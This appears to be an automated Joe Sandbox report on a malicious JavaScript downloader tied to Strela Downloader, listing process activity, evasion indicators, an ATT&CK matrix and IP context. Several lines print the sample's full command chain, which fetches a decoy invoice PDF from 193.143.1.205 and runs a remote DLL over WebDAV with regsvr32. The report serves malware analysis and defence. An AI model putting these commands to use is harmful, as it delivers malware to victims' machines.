Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4547			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5331			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4516	Thread sleep count: 4547 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5284	Thread sleep count: 5331 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1232	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6256	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5088	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3492	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000002.1449190990.000001B50EA20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\MJ
Source: svchost.exe, 00000009.00000002.2729057553.000002D77D82B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000002.1505535834.000001D4D86D9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1505535834.000001D4D8678000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2731508791.000002D77EE5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/M	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/9	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.1447705680.000001B50EA2A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/9	net.exe, 00000007.00000002.1505535834.000001D4D86AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2731660760.000002D77EE95000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1505535834.000001D4D86CB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1505535834.000001D4D8678000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1505535834.000001D4D86AD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/M	net.exe, 00000007.00000002.1505535834.000001D4D86AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1514328041.000002D77F000000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588188
Start date and time:	2025-01-10 22:28:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	23614810137024152.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@28/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 23.209.209.135, 2.23.242.162, 199.232.214.172, 2.16.168.107, 2.16.168.105, 23.40.179.19, 23.40.179.33, 23.40.179.21, 23.40.179.23, 23.40.179.9, 23.40.179.15, 23.40.179.4, 23.40.179.25, 23.40.179.22, 192.168.2.9, 50.16.47.176, 4.245.163.56, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 23614810137024152.js

Simulations

Behavior and APIs

Time	Type	Description
16:29:57	API Interceptor	22x Sleep call for process: powershell.exe modified
16:30:01	API Interceptor	1x Sleep call for process: net.exe modified
16:30:02	API Interceptor	2x Sleep call for process: svchost.exe modified
16:30:10	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.49322411802822963
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaF:cJhXC9lHmutpJyiRDeJ/aUKrDgnmn
MD5:	F74597F9326DC8437013B9A356672A15
SHA1:	0CC6CAD8CE0791A1CE0C839555B5B458C0BE2C59
SHA-256:	94EE1D8D931797D6FDE376597AFB8562A08949331D8E38E87A7A1559D1C4F631
SHA-512:	97DC1AF1D1B08C71F26BF339241C5AB5E8B5884FAA4CD533C55CC3B08C286F945784C9507B28C90971CF231EDA433EC15B02BD1F6926468F109F7EA5B2DF5774
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x9d5d0cb9, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7217264404075829
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:bazaNvFv8V2UW/DLzN/w4wZi
MD5:	4758D5AC9D8BFA4BBD556910521FBBD3
SHA1:	0E21A13DFB1E4FAB703EB60C96721553503CFEC9
SHA-256:	B98E5CFA62D3386955A8FFCC0939E3D66356638FF6FFE79BDB6417AED0A1D93E
SHA-512:	994856E56DB0D3C5D28262973B9F7D30C8CE623D19A5C54B600745B3F42427A8495913FA128441632872B51CCABF5549490DE771C801B4142075CAEF6E8C5C34
Malicious:	false
Preview:	.]..... ...............X\...;...{......................p.D..........{}......}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{...................................]9......}..........................}=..........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

